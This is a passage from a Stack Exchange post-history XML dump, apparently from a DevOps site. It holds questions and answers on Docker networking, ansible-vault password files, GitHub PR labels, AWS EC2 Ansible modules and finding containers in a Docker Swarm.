}&#xD;&#xA;]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Using curl inside container:&#xD;&#xA;```&#xD;&#xA;docker exec -it order-management /bin/sh&#xD;&#xA;/ # curl --location --request POST 'http://127.0.0.1:8080/order-manager/orders/' \&#xD;&#xA;&gt; --header 'Content-Type: application/json' \&#xD;&#xA;&gt; --data-raw '{&#xD;&#xA;&gt;     &quot;id&quot;: &quot;cart3&quot;,&#xD;&#xA;&gt;     &quot;products&quot;: [&#xD;&#xA;&gt;         {  &#xD;&#xA;&gt;             &quot;id&quot;: 1,&#xD;&#xA;&gt;             &quot;name&quot;: &quot;waschermachine&quot;,&#xD;&#xA;&gt;             &quot;price&quot;: 100.0,&#xD;&#xA;&gt;             &quot;quantity&quot;: 1&#xD;&#xA;&gt;         },&#xD;&#xA;&gt;         {&#xD;&#xA;&gt;             &quot;id&quot;: 2,&#xD;&#xA;&gt;             &quot;name&quot;: &quot;socks&quot;,&#xD;&#xA;&gt;             &quot;price&quot;: 100.0,&#xD;&#xA;&gt;             &quot;quantity&quot;: 2&#xD;&#xA;&gt;         }&#xD;&#xA;&gt;     ]&#xD;&#xA;&gt; }'&#xD;&#xA;{&quot;status&quot;:&quot;CREATED&quot;,&quot;fulFillmentStatus&quot;:&quot;NOT_FULFILLED&quot;,&quot;id&quot;:&quot;d2e75847-bbf0-42ba-b724-59cb268725ad&quot;,&quot;cartId&quot;:&quot;cart3&quot;,&quot;items&quot;:[{&quot;id&quot;:1,&quot;name&quot;:&quot;waschermachine&quot;,&quot;quantity&quot;:1,&quot;price&quot;:100.0},{&quot;id&quot;:2,&quot;name&quot;:&quot;socks&quot;,&quot;quantity&quot;:2,&quot;price&quot;:100.0}],&quot;totalItems&quot;:3,&quot;totalAmount&quot;:300.0}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Postman request:&#xD;&#xA;[![screenshot][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/KTz0e.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="39637" PostHistoryTypeId="1" PostId="12926" RevisionGUID="72219331-11fe-44f6-b822-98ea109a722d" CreationDate="2020-12-05T10:02:43.680" UserId="25007" Text="Can't access specific docker container using a mapped port through my host [macos]" ContentLicense="CC BY-SA 4.0" />
  <row Id="39638" PostHistoryTypeId="3" PostId="12926" RevisionGUID="72219331-11fe-44f6-b822-98ea109a722d" CreationDate="2020-12-05T10:02:43.680" UserId="25007" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;dockerfile&gt;&lt;macos&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39639" PostHistoryTypeId="2" PostId="12927" RevisionGUID="176343d8-7cd4-417e-ba32-52e242b97685" CreationDate="2020-12-05T12:14:54.143" UserId="25010" Text="The manual says at storing passwords in files section:&#xD;&#xA;&#xD;&#xA;&gt; To store a vault password in a file, enter the password as a string on&#xD;&#xA;&gt; a single line in the file. Make sure the permissions on the file are&#xD;&#xA;&gt; appropriate. Do not add password files to source control. If you have&#xD;&#xA;&gt; multiple passwords, you can store them all in a single file, as long&#xD;&#xA;&gt; as they all have vault IDs. For each password, create a separate line&#xD;&#xA;&gt; and enter the vault ID, a space, then the password as a string. For&#xD;&#xA;&gt; example:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;and there is an example:&#xD;&#xA;```&#xD;&#xA;dev my_dev_pass&#xD;&#xA;test my_test_pass&#xD;&#xA;prod my_prod_pass&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;However there is no usage exampes for this file. I tried many different ways. If I use `--vault-password-file` the `ansible-vault` sees only `default` entry independent of the number of entries in file. With `--encrypt-vault-id=test` I get:&#xD;&#xA;```&#xD;&#xA;ERROR! Did not find a match for --encrypt-vault-id=test in the known vault-ids ['default']&#xD;&#xA;```&#xD;&#xA;If I use `--vault-id abc@file_path` with `--encrypt-vault-id=test` then I get error&#xD;&#xA;```&#xD;&#xA;ERROR! Did not find a match for --encrypt-vault-id=test in the known vault-ids ['abc']&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;What is the purpose of the password file described in the Ansible manual and how does one use it?&#xD;&#xA;&#xD;&#xA;Thanks!" ContentLicense="CC BY-SA 4.0" />
  <row Id="39640" PostHistoryTypeId="1" PostId="12927" RevisionGUID="176343d8-7cd4-417e-ba32-52e242b97685" CreationDate="2020-12-05T12:14:54.143" UserId="25010" Text="How to store/retrieve multiple ansible-vault passwords within/from a single file" ContentLicense="CC BY-SA 4.0" />
  <row Id="39641" PostHistoryTypeId="3" PostId="12927" RevisionGUID="176343d8-7cd4-417e-ba32-52e242b97685" CreationDate="2020-12-05T12:14:54.143" UserId="25010" Text="&lt;ansible&gt;&lt;ansible-vault&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39643" PostHistoryTypeId="2" PostId="12929" RevisionGUID="dccddf74-28ba-4ba5-b800-13a20cfc05c0" CreationDate="2020-12-05T19:26:32.027" UserId="23894" Text="I'll be very direct. I'm tired to search this and do not found anything about it.&#xD;&#xA;There is any way to change a lan ip to a dns (not chaging 'hosts' file)?&#xD;&#xA;Example:&#xD;&#xA;I've a centOs running in machine A and code any types of code in machine B.&#xD;&#xA;Either machine A and B are in same local area network and have differetns IP's.&#xD;&#xA;So, Machine B has 10.0.0.2 as IP and Machine B has 10.0.0.3.&#xD;&#xA;Machine A has docker on it, and I can acess from machine B as 10.0.0.2:xxxx&#xD;&#xA;What I'm trying to accomplish is:&#xD;&#xA;Machine B insted of reaching machine A with IP (10.0.0.2:xxxx) I'm intend to reach with anyname.dsv.local.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39644" PostHistoryTypeId="1" PostId="12929" RevisionGUID="dccddf74-28ba-4ba5-b800-13a20cfc05c0" CreationDate="2020-12-05T19:26:32.027" UserId="23894" Text="How to change Ip for a DNS" ContentLicense="CC BY-SA 4.0" />
  <row Id="39645" PostHistoryTypeId="3" PostId="12929" RevisionGUID="dccddf74-28ba-4ba5-b800-13a20cfc05c0" CreationDate="2020-12-05T19:26:32.027" UserId="23894" Text="&lt;docker&gt;&lt;dns&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39646" PostHistoryTypeId="5" PostId="12891" RevisionGUID="c3ec4ca7-06a2-43dc-b092-ab07e1298b20" CreationDate="2020-12-06T09:20:01.560" UserId="40" Comment="remove noise, improve title" Text="According to GitHub API user can add label to an issue using [this][1] POST request.&#xD;&#xA;&#xD;&#xA;I tried using this request but with PR number instead to automatically set label on PR. Here is the function I wrote:&#xD;&#xA;&#xD;&#xA;    def setLabel (String repository, List labels) {&#xD;&#xA;        try {&#xD;&#xA;            def response = httpRequest httpMode: 'POST',&#xD;&#xA;                        url: &quot;https:[Repo_URL]/${repository}/issues/${CHANGE_ID}/labels&quot;,&#xD;&#xA;                        authentication: 'ors_git_service_account',&#xD;&#xA;                        requestBody: &quot;&quot;&quot;{&#xD;&#xA;                            &quot;labels&quot;: labels&#xD;&#xA;                        }&quot;&quot;&quot;&#xD;&#xA;        } catch (e) {&#xD;&#xA;            wrap([$class: 'AnsiColorBuildWrapper', 'colorMapName': 'XTerm']) {&#xD;&#xA;                echo &quot;\u001B[31magdSlack.setLabels: '&quot; + e.toString() + &quot;'\u001B[0m&quot;&#xD;&#xA;            }&#xD;&#xA;            throw e&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;And the response I get is `HTTP/1.1 400 Bad Request`&#xD;&#xA;&#xD;&#xA;So I get that this request can't be used to labeling PRs. &#xD;&#xA;&#xD;&#xA;My question: **Is there other method which could be triggered from Jenkinsfile, to add or change PR label?**&#xD;&#xA;&#xD;&#xA;Closest thing to the question I asked was [this question][2]. Commenting API works on issues and PRs but that's not a case for labels.&#xD;&#xA;&#xD;&#xA;  [1]: https://developer.github.com/v3/issues/labels/#add-labels-to-an-issue&#xD;&#xA;  [2]: https://stackoverflow.com/questions/16744069/create-comment-on-pull-request" ContentLicense="CC BY-SA 4.0" />
  <row Id="39647" PostHistoryTypeId="4" PostId="12891" RevisionGUID="c3ec4ca7-06a2-43dc-b092-ab07e1298b20" CreationDate="2020-12-06T09:20:01.560" UserId="40" Comment="remove noise, improve title" Text="How to add label to Pull Request via Github API?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39650" PostHistoryTypeId="50" PostId="9763" RevisionGUID="59ce209a-3f62-4433-a2f7-66fea79186a5" CreationDate="2020-12-06T13:05:10.560" UserId="-1" />
  <row Id="39651" PostHistoryTypeId="50" PostId="12713" RevisionGUID="1668b443-2443-4699-8ed5-3e3d4379ff8f" CreationDate="2020-12-06T20:01:40.170" UserId="-1" />
  <row Id="39652" PostHistoryTypeId="2" PostId="12930" RevisionGUID="919d9128-77b3-4f96-969c-c5be17f3442b" CreationDate="2020-12-06T21:03:54.610" UserId="7730" Text="Sounds like you are using a host volume. Docker doesn't perform any uid/gid mapping on the files mounted into the container, this is how bind mounts work in Linux. On Windows and Mac, Docker Desktop may do a convenience mapping to eliminate permission issues, but that's a feature of those platforms that doesn't exist in Linux. You'll either need to configure the container to work with the volume mount, make the image match the uid/gid on the host, or avoid host mounts.&#xD;&#xA;&#xD;&#xA;For the first option, in development I often start containers as root, have them adjust the container user to match the volume owner, and then use gosu to drop from root to the container user to run the app. I implement this and include an example in my [base image repo](https://github.com/sudo-bmitch/docker-base). See the `bin/fix-perms` script that adjusts the container uid/gid, `bin/entrypointd.sh` that looks for the RUN_AS variable to call gosu, and `examples/nginx/entrypoint.d/10-fix-perms.sh` that runs the fix-perms script." ContentLicense="CC BY-SA 4.0" />
  <row Id="39656" PostHistoryTypeId="2" PostId="12932" RevisionGUID="7831e1ca-6948-4eb6-969c-dabc54b34ab9" CreationDate="2020-12-07T02:22:04.100" UserId="25031" Text="I am new to docker and I am trying to setup mysqld instannces as we need to run multiple MySQL versions and with docker, we can do it. &#xD;&#xA;&#xD;&#xA;So, I have read about volumes and it looks like the option to use for mysql data dir. We could also test upgrading mysql version by using the same data dir in the new mysql version container.&#xD;&#xA;&#xD;&#xA;However, as far as I understood, docker volumes allow simultaneous connections. It is important that the mysql data dir not be modified simultaneously and if by mistake we start another container in parallel with rw access, it could corrupt the system. I guess at mysql level, there could be some locks that are created physically to prevent that but if we want to add another layer of safety, how can we do that? Any way to mark the docker volumes that prevents simultaneous rw access?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39657" PostHistoryTypeId="1" PostId="12932" RevisionGUID="7831e1ca-6948-4eb6-969c-dabc54b34ab9" CreationDate="2020-12-07T02:22:04.100" UserId="25031" Text="How to mark a docker volume to prevent simultaneous connections?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39658" PostHistoryTypeId="3" PostId="12932" RevisionGUID="7831e1ca-6948-4eb6-969c-dabc54b34ab9" CreationDate="2020-12-07T02:22:04.100" UserId="25031" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39659" PostHistoryTypeId="2" PostId="12933" RevisionGUID="9bbecc18-349e-4626-981b-e419ccac75b3" CreationDate="2020-12-07T04:08:56.597" UserId="25032" Text="&#xD;&#xA;&gt; Provisioning is the process of setting up IT infrastructure. It can&#xD;&#xA;&gt; also refer to the steps required to manage access to data and&#xD;&#xA;&gt; resources, and make them available to users and systems. &#xD;&#xA;&gt; &#xD;&#xA;&gt; Provisioning is not the same thing as configuration, but they are both&#xD;&#xA;&gt; steps in the deployment process. Once something has been provisioned,&#xD;&#xA;&gt; the next step is configuration.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I find the following lines confusing&#xD;&#xA;&#xD;&#xA; &quot;It can also refer to the steps required to manage access to data and resources, and make them available to users and systems.&quot; &#xD;&#xA;&#xD;&#xA;&quot;Provisioning is not the same thing as configuration, but they are both steps in the deployment process&quot;&#xD;&#xA;&#xD;&#xA;How can you make your resources available to the user without setting them up and **configuring them**. **So why isn't configuration a part of provisioning?** &#xD;&#xA;&#xD;&#xA;Also what **exactly do you mean by setting up the resources**?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39660" PostHistoryTypeId="1" PostId="12933" RevisionGUID="9bbecc18-349e-4626-981b-e419ccac75b3" CreationDate="2020-12-07T04:08:56.597" UserId="25032" Text="Provisioning meaning" ContentLicense="CC BY-SA 4.0" />
  <row Id="39661" PostHistoryTypeId="3" PostId="12933" RevisionGUID="9bbecc18-349e-4626-981b-e419ccac75b3" CreationDate="2020-12-07T04:08:56.597" UserId="25032" Text="&lt;terminology&gt;&lt;provisioning&gt;&lt;term-disambiguation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39662" PostHistoryTypeId="2" PostId="12934" RevisionGUID="38132e82-cc21-43bc-a058-dce1c6cd2c4d" CreationDate="2020-12-07T04:14:03.997" UserId="25032" Text="Yes you can do it. You have to set up [BIND][1] as a Private Network DNS Server.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/BIND" ContentLicense="CC BY-SA 4.0" />
  <row Id="39663" PostHistoryTypeId="50" PostId="12704" RevisionGUID="e7fd0d59-628e-4f67-b80d-243987ef388c" CreationDate="2020-12-07T06:04:15.373" UserId="-1" />
  <row Id="39665" PostHistoryTypeId="33" PostId="12924" RevisionGUID="02e083af-1572-4e69-95d8-cad158636828" CreationDate="2020-12-07T10:37:08.087" UserId="8489" Comment="64" />
  <row Id="39668" PostHistoryTypeId="2" PostId="12936" RevisionGUID="a2f50d63-be56-4a76-9490-0e8083bb64c8" CreationDate="2020-12-07T12:06:51.930" UserId="24996" Text="I totally misunderstood you. Here is a new attempt to actually answer your question. :)&#xD;&#xA;&#xD;&#xA;1. Create a passwords file:&#xD;&#xA;```&#xD;&#xA;root@2ca77340d571:/# cat .passvaults&#xD;&#xA;dev my_dev_pass&#xD;&#xA;test my_test_pass&#xD;&#xA;prod my_prod_pas&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;2. Create a file to encrypt:&#xD;&#xA;```&#xD;&#xA;root@2ca77340d571:/# cat extravaulty.yml&#xD;&#xA;chocolate:banana&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;3. Encrypt the file:&#xD;&#xA;```&#xD;&#xA;root@2ca77340d571:/# ansible-vault encrypt --vault-id=dev@.passvaults extravaulty.yml&#xD;&#xA;Encryption successful&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;4. View the raw file:&#xD;&#xA;```&#xD;&#xA;root@2ca77340d571:/# cat extravaulty.yml&#xD;&#xA;$ANSIBLE_VAULT;1.2;AES256;dev&#xD;&#xA;33336336336238326137393764316333623231336238323931306166626434653164326330656566&#xD;&#xA;3561356333343435663538623661363661373461356461300a663361666331323031623530343930&#xD;&#xA;62633230636566643339663637386438336539383162346634393031633165333033396238363163&#xD;&#xA;6134383233346538330a326266626261346638303738313862656337396237343231326231656139&#xD;&#xA;34376334663664343164303462356431306539316232323761386164643735376330&#xD;&#xA;```&#xD;&#xA;and the decrypted file:&#xD;&#xA;```&#xD;&#xA;root@2ca77340d571:/# ansible-vault view --vault-id=dev@.passvaults extravaulty.yml&#xD;&#xA;chocolate:banana&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;As I understand it, when you use `--vault-id=dev@.passvaults` you are telling it to use `dev` as a hint (not the vault password) and `.passvaults` as the file where the encrypt/decrypt password is.&#xD;&#xA;&#xD;&#xA;This means that you can also do this:&#xD;&#xA;```&#xD;&#xA;root@2ca77340d571:/# ansible-vault view --vault-id=prod@.passvaults extravaulty.yml&#xD;&#xA;chocolate:banana&#xD;&#xA;```&#xD;&#xA;Or this&#xD;&#xA;```&#xD;&#xA;root@2ca77340d571:/# ansible-vault view --vault-id=.passvaults extravaulty.yml&#xD;&#xA;chocolate:banana&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Which is not intuitive to me.&#xD;&#xA;Does this help?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39670" PostHistoryTypeId="2" PostId="12937" RevisionGUID="477d4394-3ca0-4f71-82bf-726e7f7aea8f" CreationDate="2020-12-07T20:13:33.223" UserId="25042" Text="I have successfully authenticated to AWS and pulled an inventory using the aws inventory plugin.  I'm interested in getting facts about instances.&#xD;&#xA;&#xD;&#xA;The documentation says that this playbook should get instance info:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- name: Gather information about all instances&#xD;&#xA;  community.aws.ec2_instance_info:&#xD;&#xA;```&#xD;&#xA;https://docs.ansible.com/ansible/latest/collections/community/aws/ec2_instance_facts_module.html&#xD;&#xA;&#xD;&#xA;But I get the following error:&#xD;&#xA;**ERROR! 'community.aws.ec2_instance_info' is not a valid attribute for a Play**&#xD;&#xA;&#xD;&#xA;This ad-hoc version of the command above works fine:&#xD;&#xA;```&#xD;&#xA;ansible localhost -m community.aws.ec2_instance_info &gt; instance_info&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;These additions to the playbook resolve the error above, but don't return any facts like the ad-hoc does.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- name: Gather information about an instance&#xD;&#xA;  hosts: localhost&#xD;&#xA;  tasks:&#xD;&#xA;    - name: Gather information about an instance&#xD;&#xA;      community.aws.ec2_instance_info:&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Any idea what the issue is?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39671" PostHistoryTypeId="1" PostId="12937" RevisionGUID="477d4394-3ca0-4f71-82bf-726e7f7aea8f" CreationDate="2020-12-07T20:13:33.223" UserId="25042" Text="Correct usage of community.aws.ec2_instance_info module in a playbook" ContentLicense="CC BY-SA 4.0" />
  <row Id="39672" PostHistoryTypeId="3" PostId="12937" RevisionGUID="477d4394-3ca0-4f71-82bf-726e7f7aea8f" CreationDate="2020-12-07T20:13:33.223" UserId="25042" Text="&lt;amazon-web-services&gt;&lt;ansible&gt;&lt;amazon-ec2&gt;&lt;ansible-galaxy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39673" PostHistoryTypeId="2" PostId="12938" RevisionGUID="815d1688-2551-4d33-927e-64c39ba63a66" CreationDate="2020-12-07T23:10:01.667" UserId="25042" Text="I have inventoried my AWS EC2 hosts using the ansible Ec2 inventory plugin.&#xD;&#xA;&#xD;&#xA;I would like to be able to power on hosts that are currently powered off, by specifying hostname patterns in ad-hoc ansible commands per usual:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ansible &lt;hostname&gt; -m &lt;module_name&gt; -a &lt;module_arguments&gt;&#xD;&#xA;```&#xD;&#xA;instead of having to specify instance IDs, or tag values, or regions, or whatever, in a playbook using the `amazon.aws.ec2`, which is how the doc says to do it:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- name: Start sandbox instances&#xD;&#xA;  hosts: localhost&#xD;&#xA;  gather_facts: false&#xD;&#xA;  vars:&#xD;&#xA;    instance_ids:&#xD;&#xA;      - 'i-xxxxxx'&#xD;&#xA;      - 'i-xxxxxx'&#xD;&#xA;      - 'i-xxxxxx'&#xD;&#xA;    region: us-east-1&#xD;&#xA;  tasks:&#xD;&#xA;    - name: Start the sandbox instances&#xD;&#xA;      amazon.aws.ec2:&#xD;&#xA;        instance_ids: '{{ instance_ids }}'&#xD;&#xA;        region: '{{ region }}'&#xD;&#xA;        state: running&#xD;&#xA;        wait: True&#xD;&#xA;        vpc_subnet_id: subnet-29e63245&#xD;&#xA;        assign_public_ip: yes&#xD;&#xA;  roles:&#xD;&#xA;    - do_neat_stuff&#xD;&#xA;    - do_more_neat_stuff&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Is there a way to specify hostname patterns to power on desired instances using the amazon.aws.ec2 module (not SSH, which obviously doesn't work when hosts are off), without having to also use instance ids, tags, etc (whether directly in the playbook or as variables in files)?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39674" PostHistoryTypeId="1" PostId="12938" RevisionGUID="815d1688-2551-4d33-927e-64c39ba63a66" CreationDate="2020-12-07T23:10:01.667" UserId="25042" Text="Power on AWS EC2 hosts by specifying their ansible hostnames" ContentLicense="CC BY-SA 4.0" />
  <row Id="39675" PostHistoryTypeId="3" PostId="12938" RevisionGUID="815d1688-2551-4d33-927e-64c39ba63a66" CreationDate="2020-12-07T23:10:01.667" UserId="25042" Text="&lt;ansible&gt;&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39676" PostHistoryTypeId="2" PostId="12939" RevisionGUID="4ef31ccf-59b7-4c36-bc00-3b108c3e4ee4" CreationDate="2020-12-08T01:12:45.353" UserId="8489" Text="Answering my own question &amp; accepting it because it works - this is the solution:&#xD;&#xA;&#xD;&#xA;**Step 1:**&#xD;&#xA;So I start by finding the Docker Service I recognise as my Drupal site &quot;that's the site&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    node1 $ docker service ls&#xD;&#xA;&#xD;&#xA;As before, shown in the question, the output of that command is:&#xD;&#xA;&#xD;&#xA;    ID                  NAME                       MODE                REPLICAS            IMAGE                      PORTS&#xD;&#xA;    sr2w12kl8bg1        site1_db                    replicated          1/1                 animage2/mariadb:latest        *:13306-&gt;3306/tcp&#xD;&#xA;    e083ij8abje1        site1_drupal                replicated          1/1                 animage2/drupal:d7             *:7150-&gt;80/tcp&#xD;&#xA;    sejb0f2mfo22        site1_drush                 replicated          0/1                 drush/drush:latest         &#xD;&#xA;    kbae02doa8rs        site1_haproxy               replicated          2/2                 haproxy:alpine             &#xD;&#xA;    khgmnu1566rb        site2_db                    replicated          1/1                 mariadb:latest             &#xD;&#xA;    notoc1fam1gk        site3_drupal                replicated          1/1                 animage1/drupal:d8             *:7160-&gt;80/tcp&#xD;&#xA;    0xtxx4jmmwa3        site4_db                    replicated          1/1                 mariadb:latest&#xD;&#xA;&#xD;&#xA;            &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I pick out the site `animage1/drupal:d8`, second from bottom in the list above and find the corresponding Service ID, `notoc1fam1gk`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Step 2:** &#xD;&#xA;&#xD;&#xA;I use this, Service ID, `notoc1fam1gk`, to list all the tasks for that Service, by doing this command&#xD;&#xA;&#xD;&#xA;    node1 $ docker service ps notoc1fam1gk&#xD;&#xA;&#xD;&#xA;The output of that command is:&#xD;&#xA;&#xD;&#xA;    ID                  NAME                 IMAGE                      NODE                DESIRED STATE       CURRENT STATE          ERROR               PORTS&#xD;&#xA;    yiofs723gc89        site3_drupal.1       animage1/drupal:d8         node2               Running             Running 6 days ago                         &#xD;&#xA;    pgdgf783ff9v         \_ site3_drupal.1   animage1/drupal:d8         node2               Shutdown            Shutdown 2 weeks ago                       &#xD;&#xA;    1gfdsgcb0p2q         \_ site3_drupal.1   animage1/drupal:d8         node2               Shutdown            Shutdown 2 weeks ago                       &#xD;&#xA;    175lfds2jbjy         \_ site3_drupal.1   animage1/drupal:d8         node2               Shutdown            Shutdown 2 weeks ago                       &#xD;&#xA;    qo312e143p1q         \_ site3_drupal.1   animage1/drupal:d8         node2               Shutdown            Shutdown 3 weeks ago    &#xD;&#xA;&#xD;&#xA;                   &#xD;&#xA;**Step 3:**&#xD;&#xA; &#xD;&#xA;Now for the crucial bit - I still don't have a Container ID to be able to ssh into.&#xD;&#xA;&#xD;&#xA;So This command will do it for me:&#xD;&#xA;&#xD;&#xA;    docker inspect -f &quot;{{.Status.ContainerStatus.ContainerID}}&quot; &lt;task_id&gt;&#xD;&#xA;&#xD;&#xA;( Credit: https://stackoverflow.com/a/42465558/227926 )&#xD;&#xA;&#xD;&#xA;In my example, this looks like:&#xD;&#xA;&#xD;&#xA;    node1 $ docker inspect -f &quot;{{.Status.ContainerStatus.ContainerID}}&quot; yiofs723gc89&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The output of the above command is just:&#xD;&#xA;&#xD;&#xA;    72d6a20c3d15dd9f0db4b1a60d93a91c0514946881f2dc00ca62d6a7a9ef1290&#xD;&#xA;&#xD;&#xA;This is the container ID in the format of the 64 character SHA-256 ID.&#xD;&#xA;&#xD;&#xA;But I'm familiar with the 12 character length Container IDs that docker ps shows.&#xD;&#xA;&#xD;&#xA;The explaination is that the 12 character Container ID is just a truncated version of the full length 64 character ID  - it takes the first 12 characters.&#xD;&#xA;&#xD;&#xA;So in my case, `72d6a20c3d15dd9f0db4b1a60d93a91c0514946881f2dc00ca62d6a7a9ef1290` will be `72d6a20c3d15` in the 12 character format.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Step 4:**&#xD;&#xA;&#xD;&#xA;So now, when I docker ps on node1 to go looking for that container ID I can use the 12 character format for the ID, `72d6a20c3d15`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'm on my Docker Swarm Node node1 and I do a docker ps:&#xD;&#xA;&#xD;&#xA;    node1 $ docker ps&#xD;&#xA;    CONTAINER ID        IMAGE                  COMMAND                  CREATED             STATUS              PORTS                    NAMES&#xD;&#xA;    d5d45a94d45e        haproxy:alpine         &quot;/docker-entrypoint.…&quot;   3 days ago          Up 3 days                                    db_proxy_haproxy.2.91aw0apofd3iw537d249pyi62&#xD;&#xA;    6a4676df2b3a        22dbb7890585           &quot;docker-entrypoint.s…&quot;   3 days ago          Up 3 days           3306/tcp                 site2_db.1.xxizdccg9a2hgf83tcgg1tkaej&#xD;&#xA;    538172a86a57        site1/drupal:asite     &quot;docker-php-entrypoi…&quot;   3 days ago          Up 3 days           80/tcp                   site3.1.uofsfssl72aj867r0hfs86i7m24linae8&#xD;&#xA;    2d487ea3788e        22dbb7890585           &quot;docker-entrypoint.s…&quot;   3 days ago          Up 3 days           3306/tcp                 site4_db.1.3lnd0f9sl027f0skgza3kq373c0&#xD;&#xA;    d671069584d7        mariadb:latest         &quot;docker-entrypoint.s…&quot;   3 days ago          Up 3 days           3306/tcp                 site5.1.xoy0r6720362hlkhksu2qd&#xD;&#xA;    beb6bcb66f43        mariadb:latest         &quot;docker-entrypoint.s…&quot;   3 days ago          Up 3 days           3306/tcp                 site2.1.kobk423624kljfs1uhpflfs3&#xD;&#xA;&#xD;&#xA;But `72d6a20c3d15` isn't in the list. Why is that? &#xD;&#xA;&#xD;&#xA;Well, in my case it is on the node2 of my Docker Swarm.  How do I know this?  &#xD;&#xA;&#xD;&#xA;I know because the earlier command `docker service ps` `notoc1fam1gk` listed the task as node2, so I know that this task's corresponding container will be on node2.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Step 5:**&#xD;&#xA;&#xD;&#xA;So I connect to node2 where my container is located&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    node1$ ssh node2&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Then list the Docker Containers, by ID.  And I can see `72d6a20c3d15` in this list, bottom entry:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    node2$ docker ps&#xD;&#xA;    &#xD;&#xA;    CONTAINER ID        IMAGE                      COMMAND                  CREATED             STATUS              PORTS               NAMES&#xD;&#xA;    2e3bc7158d61        89up/drupal:unite2remain   &quot;docker-php-entrypoi…&quot;   7 days ago          Up 7 days           80/tcp              someothersite_drupal.1.tg33od888aj6krqqhdx0tp8ta&#xD;&#xA;    53122123d035        haproxy:alpine             &quot;/docker-entrypoint.…&quot;   7 days ago          Up 7 days                               someothersite_haproxy.1.t1x7exq98huu8q3aaok57d22&#xD;&#xA;    9348345f84cb        haproxy:alpine             &quot;/docker-entrypoint.…&quot;   10 days ago         Up 10 days                              something-m_haproxy.2.02haarnwe1ssfo0x9rypx2yud&#xD;&#xA;    72d6a20c3d15        animage1/drupal:d8         &quot;docker-entrypoint.s…&quot;   2 weeks ago         Up 2 weeks          80/tcp              site3_drupal.1.5fqfizaxt0plh1tzt6caq0zon&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Step 6:**&#xD;&#xA;&#xD;&#xA;I can now ssh into that container:&#xD;&#xA;&#xD;&#xA;    node2$ docker exec -it 72d6a20c3d15 /bin/bash&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Triumph!&#xD;&#xA;&#xD;&#xA;(In your case, your Container ID may be on your node1, or whatever.  I've only added this extra step for node2 to illustrate the point that one should be aware of the node that the task (and corresponding container is running on))&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39677" PostHistoryTypeId="5" PostId="12924" RevisionGUID="81b3bf33-31b3-4c8b-802c-98f876e69ba5" CreationDate="2020-12-08T01:13:47.617" UserId="8489" Comment="corrected example data" Text="**Background**&#xD;&#xA;&#xD;&#xA;I'm trying to maintain some websites running in a Docker Swarm.  I want to do security updates on them.&#xD;&#xA;&#xD;&#xA;In a non-Docker environment, like a VPS, my simple process is that I would connect in and git pull updates and run any database updates associated with these.&#xD;&#xA;&#xD;&#xA;I want to do the same with websites that are running in a Docker Swarm as Docker Containers that belong to a respective Docker Service.&#xD;&#xA;&#xD;&#xA;But it seems to be a disproportionate of effort to find the Docker commands to help me with this.&#xD;&#xA;&#xD;&#xA;**Specifically my question is:**&#xD;&#xA;&#xD;&#xA;**If I know the Docker Service name or ID,  what Docker command can I run to find out the IDs of all the containers to be able to connect into them.**&#xD;&#xA;&#xD;&#xA;The reason why I start with the Docker Service when I list them on the Docker master node, using `docker service ls` I get a &quot;user friendly&quot; list of services, which helps me pick out the particular service for the site to maintain, e.g.:&#xD;&#xA;&#xD;&#xA;        $ docker service ls&#xD;&#xA;        ID                  NAME                       MODE                REPLICAS            IMAGE                      PORTS&#xD;&#xA;        sr2w12kl8bg1        site1_db                    replicated          1/1                 animage2/mariadb:latest        